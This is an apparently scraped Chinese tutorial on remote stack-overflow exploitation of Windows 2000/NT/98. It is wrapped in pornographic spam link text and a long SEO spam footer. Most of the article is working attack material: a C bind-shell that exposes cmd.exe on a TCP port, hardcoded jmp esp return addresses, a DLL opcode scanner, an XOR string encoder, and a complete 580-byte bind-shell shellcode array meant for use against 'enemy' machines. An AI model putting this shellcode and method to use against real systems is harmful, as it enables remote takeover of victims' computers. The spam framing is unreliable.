电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁(yè)技術(shù)文章
文章詳情頁(yè)

windows系統(tǒng)下的遠(yuǎn)程溢出方法

瀏覽:119日期:2024-02-10 09:48:45

我們來(lái)研究windows系統(tǒng)下的遠(yuǎn)程溢出方法。我們的目的是研究如何利用windows程序的溢出來(lái)進(jìn)行遠(yuǎn)程攻擊。 如果對(duì)于windows下的緩沖區(qū)溢出不是很熟悉,請(qǐng)大家復(fù)習(xí)我前面的文章:《window系統(tǒng)下的堆棧溢出》(IsBaseMagzine 20003)。本文以及后續(xù)的《實(shí)戰(zhàn)篇》都是建立在該文基礎(chǔ)上的。

讓我們從頭開(kāi)始。windows 2000 Advanced Server(Build 5.00.2195)

第一篇 《原理篇》

----遠(yuǎn)程溢出算法

如何開(kāi)一個(gè)遠(yuǎn)程shell呢?思路是這樣的:首先使敵人的程序溢出,讓他執(zhí)行我們的shellcode。我們的shellcode的功能就是在敵人的機(jī)器上用某個(gè)端口開(kāi)一個(gè)telnetd 服務(wù)器,然后等待客戶(hù)來(lái)的連接。當(dāng)客戶(hù)連接上之后,為這個(gè)客戶(hù)開(kāi)創(chuàng)一個(gè)cmd.exe,把客戶(hù)的輸入輸出和cmd.exe的輸入輸出聯(lián)系起來(lái),我們遠(yuǎn)程的使用者就有了一個(gè)遠(yuǎn)程shell(跟telnet一樣啦)。

上面的算法我想大家都該想得到,這里面socket部分比較簡(jiǎn)單。和Unix下的基本差不多。就是加了一個(gè)WSAStartup;為客戶(hù)開(kāi)創(chuàng)一個(gè)cmd.exe,就是用CreateProcess來(lái)創(chuàng)建這個(gè)子進(jìn)程;但是如何把客戶(hù)的輸入輸出和cmd.exe的輸出輸入聯(lián)系起來(lái)呢?我使用了匿名管道(Anonymous Pipe)來(lái)完成這個(gè)聯(lián)系過(guò)程。

管道(Pipe)是一種簡(jiǎn)單的進(jìn)程間通信(IPC)機(jī)制。在Windows NT,2000,98,95下都可以使用。管道分有名和匿名兩種,命名管道可以在同一臺(tái)機(jī)器的不同進(jìn)程間以及不同機(jī)器上的不同進(jìn)程之間進(jìn)行雙向通信(使用UNC命名規(guī)范)。

匿名管道只是在父子進(jìn)程之間或者一個(gè)進(jìn)程的兩個(gè)子進(jìn)程之間進(jìn)行通信。他是單向的。匿名管道其實(shí)是通過(guò)用給了一個(gè)指定名字的有名管道來(lái)實(shí)現(xiàn)的。

管道的最大好處在于:他可以象對(duì)普通文件一樣進(jìn)行操作。他的操作標(biāo)示符是HANDLE,也就是說(shuō),他可以使用readFile,WriteFile函數(shù)來(lái)進(jìn)行與底層實(shí)現(xiàn)無(wú)關(guān)的讀寫(xiě)操作!用戶(hù)根本就不必了解網(wǎng)絡(luò)間/進(jìn)程間通信的具體細(xì)節(jié)。

下面就是這個(gè)算法的C實(shí)現(xiàn):

/****************************************************************************//* Telnetd.cpp By Ipxodi tested in win2000To illustrated the method of telnetd.Only one connection can be accept,feel free to add select... to fit for multiple client*/#include <winsock2.h>#include <stdio.h>

int main(){WSADATA wsa;SOCKET listenFD;char Buff[1024];int ret;

WSAStartup(MAKEWORD(2,2),&wsa);

listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

struct sockaddr_in server;

server.sin_family = AF_INET;server.sin_port = htons(53764);server.sin_addr.s_addr=ADDR_ANY;ret=bind(listenFD,(sockaddr *)&server,sizeof(server));ret=listen(listenFD,2);int iAddrSize = sizeof(server);SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);/*這段代碼是用來(lái)建立一個(gè)Tcp Server的,我們先申請(qǐng)一個(gè)socketfd,使用53764(隨便,多少都行)作為這個(gè)socket連接的端口,bind他,然后在這個(gè)端口上等待連接listen。程序阻塞在accept函數(shù)直到有client連接上來(lái)。*/SECURITY_ATTRIBUTES sa;sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;

ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);/*創(chuàng)建兩個(gè)匿名管道。hReadPipe只能用來(lái)讀管道,hWritePipe1只能用來(lái)寫(xiě)管道。*/STARTUPINFO si;ZeroMemory(&si,sizeof(si));si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;si.wShowWindow = SW_HIDE;si.hStdInput = hReadPipe2;si.hStdOutput = si.hStdError = hWritePipe1;char cmdLine[] = 'cmd.exe';PROCESS_INFORMATION ProcessInformation;

ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);/*這段代碼創(chuàng)建了一個(gè)shell(cmd.exe),并且把cmd.exe的標(biāo)準(zhǔn)輸入用第二個(gè)管道的讀句柄替換。cmd.exe的標(biāo)準(zhǔn)輸出和標(biāo)準(zhǔn)錯(cuò)誤輸出用第一個(gè)管道的寫(xiě)句柄替換。這兩個(gè)管道的邏輯示意圖如下:(父進(jìn)程) read<---〔管道一〕<---write 標(biāo)準(zhǔn)輸出(cmd.exe子進(jìn)程)(父進(jìn)程) write--->〔管道二〕--->read 標(biāo)準(zhǔn)輸入(cmd.exe子進(jìn)程)*/

unsigned long lBytesRead;while(1) {ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);if(lBytesRead) {ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;ret=send(clientFD,Buff,lBytesRead,0);if(ret<=0) break;}else {lBytesRead=recv(clientFD,Buff,1024,0);if(lBytesRead<=0) break;ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);if(!ret) break;}}/*這段代碼完成了客戶(hù)輸入和shell的交互。PeekNamedPipe用來(lái)異步的查詢(xún)管道一,看看shell是否有輸出。如果有就readfile讀出來(lái),并發(fā)送給客戶(hù)。如果沒(méi)有,就去接受客戶(hù)的輸入。并writefile寫(xiě)入管道傳遞給shell.這兩個(gè)管道與client和server的配合邏輯圖如下:輸入命令(Client) <-- send(父進(jìn)程) read<--〔管道一〕<--write 標(biāo)準(zhǔn)輸出(cmd.exe子進(jìn)程)獲得結(jié)果(Client) recv-->(父進(jìn)程)write-->〔管道二〕-->read 標(biāo)準(zhǔn)輸入(cmd.exe子進(jìn)程)

*/return 0;}/****************************************************************************/

----shellcode疑難問(wèn)題

下面來(lái)寫(xiě)shellcode。針對(duì)windows系統(tǒng)緩沖區(qū)溢出的特殊性,shellcode有一些新的問(wèn)題,我采用如下辦法來(lái)解決:1)跳轉(zhuǎn)指令地址的問(wèn)題因?yàn)樵诤瘮?shù)返回的時(shí)候,esp都指向返回地址后面的地址。(為什么?因?yàn)閑sp在返回后要指向的地址,就是父函數(shù)在壓完參數(shù),準(zhǔn)備執(zhí)行call 子函數(shù)之前的堆棧頂。)所以,我們的shellcode的開(kāi)始位置,就是函數(shù)返回的時(shí)候,esp所指向的位置。因此,使用jmp esp 就可以跳到我們的shellcode上來(lái)。

當(dāng)然,這里面作了一個(gè)假設(shè),就是程序是由調(diào)用者來(lái)負(fù)責(zé)堆棧的恢復(fù)的。匯編代碼就是這個(gè)樣子:push eax; push ebx; push ecx; call SubRutineadd esp,000C

但是,如果是由子程序來(lái)負(fù)責(zé)恢復(fù)堆棧,SubRutine:....:010091F3 C9 leave:010091F4 C20C00 ret 000Cesp就不是指向我們的shellcode開(kāi)始位置。它將指向shellcode+0c的位置。

事實(shí)上,當(dāng)你在試圖發(fā)現(xiàn)敵人程序的一個(gè)溢出點(diǎn)時(shí),這個(gè)數(shù)值(這里是0C)是可以很精確的發(fā)現(xiàn)的,因?yàn)槟憧梢钥吹剿膮R編原代碼呀!

為了解決這種情況下shellcode不能被正確執(zhí)行的問(wèn)題,我們可以在shellcode前面加上0c個(gè)nop.

這樣,我們需要作的事情,就是用內(nèi)存中一個(gè)jmp esp指令的地址,來(lái)覆蓋敵人程序的返回地址。在內(nèi)存中,當(dāng)然有很多dll都會(huì)有jmp esp指令,我選擇了kernel32.dll里面的指令,因?yàn)檫@kernel32.dll是系統(tǒng)核心DLL,加載在前面,后面的dll安裝地址要隨前面dll的變動(dòng)而變動(dòng),為了通用性的考慮,采用KERNEL32.DLL。

那么這些地址就是固定的了:win98第二版下(4.00.2222a),返回地址為:0xbff795a3winnt4下(4.00.1381),返回地址為:0x77f0eac3win2000下(5.00.2195),返回地址為:0x77e2e32a

以上地址,我們可以在測(cè)試的時(shí)候使用,但是,在真正對(duì)付敵人的時(shí)候,為了區(qū)別出選擇哪一個(gè)地址,就需要首先摸清敵人的操作系統(tǒng)以及dll版本號(hào)。jmp esp 地址如果不對(duì),敵人的程序就會(huì)出現(xiàn)'無(wú)效頁(yè)錯(cuò)誤'對(duì)話框,并且一定會(huì)當(dāng)?shù)簦裕诠糁埃仨毻ㄟ^(guò)一些蛛絲馬跡,判斷敵人的類(lèi)型。

以下是測(cè)試時(shí)候使用的代碼:#ifdef WIN2000#define JUMPESP 'x2axe3xe2x77'#endif#ifdef WINNT4#define JUMPESP 'xc3xeaxf0x77'#endif#ifdef WIN98 //2222a#define JUMPESP 'xa3x95xf7xbf'#endif#ifdef EXPLOIT#define JUMPESP '敵人目標(biāo)程序上的jmp esp地址。'#endif

如果你有softice,可以直接在內(nèi)存里面搜ffe4。如果沒(méi)有,綠色兵團(tuán)的Backend 寫(xiě)過(guò)一個(gè)小程序可以搜索user32.dll中的FFE4(jmp esp)串。我把他改了一下,可以搜索指定dll中的FFE4。算法如下:/****************************************************************************//*ffe4.cpp By Backend*/bool we_loaded_it = false; HINSTANCE h; TCHAR dllname[] = _T('User32');

if(argc>1) {strcpy(dllname,argv[1]);}

h = GetModuleHandle(dllname); if(h == NULL) { h = LoadLibrary(dllname); if(h == NULL) { cout<<'ERROR LOADING DLL: '<<dllname<<endl; return 1; } we_loaded_it = true; }

BYTE* ptr = (BYTE*)h; bool done = false; for(int y = 0;!done;y++) { try { if(ptr[y] == 0xFF && ptr[y+1] == 0xE4) { int pos = (int)ptr + y; cout<<'OPCODE found at 0x'<<hex<<pos<<endl; } } catch(...) { cout<<'END OF '<<dllname<<' MEMORY REACHED'<<endl; done = true; } } if(we_loaded_it) FreeLibrary(h);

/****************************************************************************/2)shellcode所使用函數(shù)的問(wèn)題在shellcode里面使用了很多win32函數(shù),比如ReadFile,CreateProcess等等。這些函數(shù)必須加載到了敵人程序的進(jìn)程空間里面后我們才能使用。我們將攻擊的敵人的遠(yuǎn)程服務(wù)程序里面并不能保證已經(jīng)load了我們所需要的所有的函數(shù)。

我們希望可以作出一個(gè)平臺(tái)無(wú)關(guān)的shellcode,這就必須:不直接使用OS版本相關(guān)的函數(shù)入口地址。這是因?yàn)楹瘮?shù)入口地址是根據(jù)OS/SP/升級(jí)的版本不同而可能不同的。

唯一的辦法就是對(duì)使用的每一個(gè)win32函數(shù),都使用LoadLibrary加載dll,用GetProcAddress函數(shù)來(lái)獲得函數(shù)地址。這需要我們的shellcode里面有一個(gè)函數(shù)名表保存每一個(gè)所使用的函數(shù)的函數(shù)名,并且在shellcode執(zhí)行前,調(diào)用上述兩個(gè)函數(shù)一一獲得這些函數(shù)的地址。

但是又有一個(gè)問(wèn)題,就是LoadLibrary和GetProcAddress本身的地址怎么獲得呢?我們想一想,這兩個(gè)函數(shù)的作用?'取得所有其他函數(shù)的地址。'沒(méi)錯(cuò),他們太重要了,每一個(gè)win32程序都要使用它們!那么,我們的目標(biāo)程序呢?肯定也會(huì)有它們的。所以,在寫(xiě)exploit的時(shí)候,這兩個(gè)函數(shù)的地址都是確定的。

如何找到這兩個(gè)函數(shù)在目標(biāo)程序里面的加載地址呢?它們會(huì)不會(huì)是根據(jù)敵人操作系統(tǒng)的不同而變化的呢?不是。這些動(dòng)態(tài)加載的函數(shù)都是在目標(biāo)程序里面設(shè)置了一個(gè)入口表。由目標(biāo)程序自己去加載,但是他的入口表地址是固定的。

你可以使用wdasm32來(lái)搜索LoadLibrary和GetProcAddress,可以看到它們對(duì)應(yīng)的入口表地址AAAA。在shellcode里面,可以直接用call [AAAA]來(lái)引用它們。

3)shellcode里面使用的字符串問(wèn)題剛剛解決了第二個(gè)問(wèn)題,就引出了第三個(gè)問(wèn)題。前面提到過(guò)使用函數(shù)名表以用來(lái)動(dòng)態(tài)獲得函數(shù)地址。但是這些函數(shù)名字都要以x0結(jié)尾的!我們的shellcode最基本的一條,就是里面絕對(duì)不能含有x0,也不可以有回車(chē)換行.

解決的辦法,就是先對(duì)字符串表進(jìn)行編碼(好嚇人)處理,處理掉所有的非法字符,shellcode在使用前,由一個(gè)子程序來(lái)進(jìn)行解碼。

我使用的方法就是對(duì)字符串進(jìn)行 xor 0x99處理。這樣編解碼就是一個(gè)程序了。

下面是編解碼程序:0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */

呵呵,一點(diǎn)都不嚇人,很簡(jiǎn)單,是不是?我們將使用的資源列表就是前面使用的所有函數(shù),加上'cmd.exe'。具體為:

/****************************************************************************/db 'KERNEL32' ,0;string to push for LoadLibrary.db 'CreatePipe',0db 'GetStartupInfoA',0 db 'CreateProcessA',0db 'PeekNamedPipe',0db 'GlobalAlloc',0db 'WriteFile',0db 'ReadFile',0db 'Sleep',0 db 'ExitProcess',0db 'WSOCK32',0db 'socket',0 db 'bind',0 db 'listen',0 db 'accept',0 db 'send',0 db 'recv',0

sockstruc STRUCT sin_family dw 0002hsin_port dw ?sin_addr dd ?sin_zero db 8 dup (0)sockstruc ENDS

db 'cmd.exe',0dd 0ffffffffh db 00dh, 00ah

/****************************************************************************/

4)shellcode的編寫(xiě)將前面的C程序編譯出來(lái),提取出shellcode,然后加上前面的編解碼和函數(shù)加載模塊就可以了。

應(yīng)用前面的設(shè)計(jì)思想,我們可以寫(xiě)出來(lái)shellcode如下:

unsigned char sploit[580] = {0x90, 0x8b, 0xfc, /* mov edi,esp */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xf7, 0xd0, /* not eax */0x50, /* push eax */0x59, /* pop ecx */0xf2, /* repnz */0xaf, /* scasd */0x59, /* pop ecx */0xb1, 0xc6, /* mov cl, C6 */0x8b, 0xc7, /* mov eax, edi *//*Xorshellcode */ /* */0x48, /* dec eax */0x80, 0x30, 0x99, /* xor byte ptr [eax], 99 */0xe2, 0xfa, /* loop Xorshellcode */0x33, 0xf6, /* xor esi, esi */0x96, /* xchg eax,esi */0xbb,0x99, 0xe8, 0x61, 0x42, /* mov ebx, &LoadLibrary */0xc1, 0xeb, 0x08, /* shr ebx, 08 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x0b, /* mov cl, 0B */0x49, /* dec ecx *//* loadKernelProcess */ /* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadKernelProcess */0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 &GetProcAddr */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadKernelProcess *//* */0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne 00000176 */0xb3, 0xe8, /* mov bl, e8 */0x56, /* push esi */0xff, 0x13, /* call dword ptr [ebx] */0x8b, 0xd0, /* mov edx, eax */0xfc, /* cld */0x33, 0xc9, /* xor ecx, ecx */0xb1, 0x06, /* mov cl, 06 *//* loadSocketProcess */ 0x32, 0xc0, /* xor al, al */0xac, /* lodsb */0x84, 0xc0, /* test al, al */0x75, 0xf9, /* jne loadSocketProcess */ 0x52, /* push edx */0x51, /* push ecx */0x56, /* push esi */0x52, /* push edx */0xb3, 0xe4, /* mov bl, e4 */0xff, 0x13, /* call dword ptr [ebx] */0xab, /* stosd */0x59, /* pop ecx */0x5a, /* pop edx */0xe2, 0xec, /* loop loadSocketProcess */ /*這一段代碼就是前期的準(zhǔn)備工作,它負(fù)責(zé)獲得所有的函數(shù)的入口地址,這些函數(shù)是:'KERNEL32.dll''CreatePipe''GetStartupInfoA''CreateProcessA''PeekNamedPipe''GlobalAlloc''WriteFile''ReadFile''Sleep''ExitProcess'

'WSOCK32.dll''socket' 'bind' 'listen' 'accept' 'send' 'recv' */0x83, 0xc6, 0x05, /* add esi, 00000005 */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0xff, 0x57, 0xe8, /* call [edi-18] */0x93, /* xchg eax,ebx */0x6a, 0x10, /* push 00000010 */ 0x56, /* push esi */ 0x53, /* push ebx */ 0xff, 0x57, 0xec, /* call [edi-14] */ 0x6a, 0x02, /* push 00000002 */0x53, /* push ebx */0xff, 0x57, 0xf0, /* call [edi-10] */0x33, 0xc0, /* xor eax, eax */0x57, /* push edi */0x50, /* push eax */0xb0, 0x0c, /* mov al, 0C */0xab, /* stosd */0x58, /* pop eax */0xab, /* stosd */0x40, /* inc eax */0xab, /* stosd */0x5f, /* pop edi */0x48, /* dec eax */0x50, /* push eax */ 0x57, /* push edi */ 0x56, /* push esi */0xad, /* lodsd */ 0x56, /* push esi */ 0xff, 0x57, 0xc0, /* call [edi-40] */ 0x48, /* dec eax */0x50, /* push eax */0x57, /* push edi */0xad, /* lodsd */0x56, /* push esi */0xad, /* lodsd */0x56, /* push esi */0xff, 0x57, 0xc0, /* call [edi-40] */0x48, /* dec eax */0xb0, 0x44, /* mov al, 44 */0x89, 0x07, /* mov dword ptr [edi], eax */0x57, /* push edi */0xff, 0x57, 0xc4, /* call [edi-3C] */0x33, 0xc0, /* xor eax, eax */0x8b, 0x46, 0xf4, /* mov eax, dword ptr [esi-0C] */0x89, 0x47, 0x3c, /* mov dword ptr [edi+3C], eax */0x89, 0x47, 0x40, /* mov dword ptr [edi+40], eax */0x8b, 0x06, /* mov eax, dword ptr [esi] */0x89, 0x47, 0x38, /* mov dword ptr [edi+38], eax */0x33, 0xc0, /* xor eax, eax */0x66, 0xb8, 0x01, 0x01, /* mov ax, 0101 */0x89, 0x47, 0x2c, /* mov dword ptr [edi+2C], eax */0x57, /* push edi */0x57, /* push edi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x50, /* push eax */0x50, /* push eax */0x40, /* inc eax */0x50, /* push eax */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0xad, /* lodsd */0x56, /* push esi */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x57, 0xc8, /* call [edi-38] */ 0xff, 0x76, 0xf0, /* push [esi-10] */0xff, 0x57, 0xcc, /* call [edi-34] */0xff, 0x76, 0xfc, /* push [esi-04] */0xff, 0x57, 0xcc, /* call [edi-34] */0x48, /* dec eax */0x50, /* push eax */0x50, /* push eax */0x53, /* push ebx */0xff, 0x57, 0xf4, /* call [edi-0C] */0x8b, 0xd8, /* mov ebx, eax */0x33, 0xc0, /* xor eax, eax */0xb4, 0x04, /* mov ah, 04 */0x50, /* push eax */0xc1, 0xe8, 0x04, /* shr eax, 04 */0x50, /* push eax */0xff, 0x57, 0xd4, /* call [edi-2C] */0x8b, 0xf0, /* mov esi, eax *//* PeekPipe: */ 0x33, 0xc0, /* xor eax, eax */0x8b, 0xc8, /* mov ecx, eax */0xb5, 0x04, /* mov ch, 04 */0x50, /* push eax */0x50, /* push eax */0x57, /* push edi */0x51, /* push ecx */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xd0, /* call [edi-30] */0x83, 0x3f, 0x01, /* cmp dword ptr [edi], 0000000*/0x7c, 0x22, /* jl GetUserInput */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0x57, /* push edi */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0xff, 0x77, 0xa8, /* push [edi-58] */0xff, 0x57, 0xdc, /* call [edi-24] */0x0b, 0xc0, /* or eax, eax */0x74, 0x2f, /* je GameOver */0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xff, 0x37, /* push dword ptr [edi] */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xf8, /* call [edi-08] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] */0xeb, 0xc8, /* jmp PeekPipe *//* GetUserInput: */ 0x33, 0xc0, /* xor eax, eax */0x50, /* push eax */0xb4, 0x04, /* mov ah, 04 */0x56, /* push esi */0x53, /* push ebx */0xff, 0x57, 0xfc, /* call [edi-04] */0x57, /* push edi */0x33, 0xc9, /* xor ecx, ecx */0x51, /* push ecx */0x50, /* push eax */0x56, /* push esi */0xff, 0x77, 0xac, /* push [edi-54] */0xff, 0x57, 0xd8, /* call [edi-28] */0x6a, 0x50, /* push 00000050 */0xff, 0x57, 0xe0, /* call [edi-20] *//* GameOver: */ 0xeb, 0xaa, /* jmp PeekPipe */0x50, /* push eax */0xff, 0x57, 0xe4, /* call [edi-1C] */0x90, /* nop *//*這里的長(zhǎng)長(zhǎng)代碼就是那段C語(yǔ)言的算法,我的注釋很詳細(xì),就不多說(shuō)了*/0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,0xda, 0xd2, 0xaa, 0xab, 0x99, 0xae, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99, 0x4b, 0x9d, // word value for bind port, 4b9d xor 9999h=537640x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff, 0x0d, 0x0a};/*這些就是那個(gè)字符串表,已經(jīng)經(jīng)過(guò)了編碼。*/

標(biāo)簽: Windows系統(tǒng)
相關(guān)文章:
主站蜘蛛池模板: pbt头梳丝_牙刷丝_尼龙毛刷丝_PP塑料纤维合成毛丝定制厂_广州明旺 | 郑州水质检测中心_井水检测_河南废气检测_河南中环嘉创检测 | 专业深孔加工_东莞深孔钻加工_东莞深孔钻_东莞深孔加工_模具深孔钻加工厂-东莞市超耀实业有限公司 | CTP磁天平|小电容测量仪|阴阳极极化_双液系沸点测定仪|dsj电渗实验装置-南京桑力电子设备厂 | 水稻烘干机,小麦烘干机,大豆烘干机,玉米烘干机,粮食烘干机_巩义市锦华粮食烘干机械制造有限公司 水环真空泵厂家,2bv真空泵,2be真空泵-淄博真空设备厂 | 砖机托板价格|免烧砖托板|空心砖托板厂家_山东宏升砖机托板厂 | 高温链条油|高温润滑脂|轴承润滑脂|机器人保养用油|干膜润滑剂-东莞卓越化学 | vr安全体验馆|交通安全|工地安全|禁毒|消防|安全教育体验馆|安全体验教室-贝森德(深圳)科技 | 锂电混合机-新能源混合机-正极材料混料机-高镍,三元材料混料机-负极,包覆混合机-贝尔专业混合混料搅拌机械系统设备厂家 | 魔方网-培训咨询服务平台| Q361F全焊接球阀,200X减压稳压阀,ZJHP气动单座调节阀-上海戎钛 | 桁架机器人_桁架机械手_上下料机械手_数控车床机械手-苏州清智科技装备制造有限公司 | 校车_校车价格_19座幼儿园校车_幼儿园校车_大鼻子校车 | 中空玻璃生产线,玻璃加工设备,全自动封胶线,铝条折弯机,双组份打胶机,丁基胶/卧式/立式全自动涂布机,玻璃设备-山东昌盛数控设备有限公司 | 粉碎机_塑料粉碎机_塑料破碎机厂家-星标机械 | 彭世修脚_修脚加盟_彭世修脚加盟_彭世足疗加盟_足疗加盟连锁_彭世修脚技术培训_彭世足疗 | 翅片管散热器价格_钢制暖气片报价_钢制板式散热器厂家「河北冀春暖气片有限公司」 | 破碎机锤头_耐磨锤头_合金锤头-鼎成机械一站式耐磨铸件定制服务 微型驱动系统解决方案-深圳市兆威机电股份有限公司 | 浙江美尔凯特智能厨卫股份有限公司 | 制氮设备_PSA制氮机_激光切割制氮机_氮气机生产厂家-苏州西斯气体设备有限公司 | 韦伯电梯有限公司| 铝合金脚手架厂家-专注高空作业平台-深圳腾达安全科技 | 视频教程导航网_视频教程之家_视频教程大全_最新视频教程分享发布平台 | 大数据营销公司_舆情监测软件_上海SEO公司-文军营销官网 | 层流手术室净化装修-检验科ICU改造施工-华锐净化工程-特殊科室建设厂家 | SRRC认证_电磁兼容_EMC测试整改_FCC认证_SDOC认证-深圳市环测威检测技术有限公司 | 雄松华章(广州华章MBA)官网-专注MBA/MPA/MPAcc/MEM辅导培训 | 杭州荣奥家具有限公司-浙江办公家具,杭州办公家具厂 | 开平机_纵剪机厂家_开平机生产厂家|诚信互赢-泰安瑞烨精工机械制造有限公司 | 石栏杆_青石栏杆_汉白玉栏杆_花岗岩栏杆 - 【石雕之乡】点石石雕石材厂 | 首页_中夏易经起名网| 英国雷迪地下管线探测仪-雷迪RD8100管线仪-多功能数字听漏仪-北京迪瑞进创科技有限公司 | 氧化铝球_高铝球_氧化铝研磨球-淄博誉洁陶瓷新材料有限公司 | 洛阳永磁工业大吊扇研发生产-工厂通风降温解决方案提供商-中实洛阳环境科技有限公司 | 北京工业设计公司-产品外观设计-产品设计公司-千策良品工业设计 北京翻译公司-专业合同翻译-医学标书翻译收费标准-慕迪灵 | 万烁建筑设计院-建筑设计公司加盟,设计院加盟分公司,市政设计加盟 | ★店家乐|服装销售管理软件|服装店收银系统|内衣店鞋店进销存软件|连锁店管理软件|收银软件手机版|会员管理系统-手机版,云版,App | T恤衫定做,企业文化衫制作订做,广告T恤POLO衫定制厂家[源头工厂]-【汉诚T恤定制网】 | 冷柜风机-冰柜电机-罩极电机-外转子风机-EC直流电机厂家-杭州金久电器有限公司 | 温室大棚建设|水肥一体化|物联网系统| 山东led显示屏,山东led全彩显示屏,山东LED小间距屏,临沂全彩电子屏-山东亚泰视讯传媒有限公司 |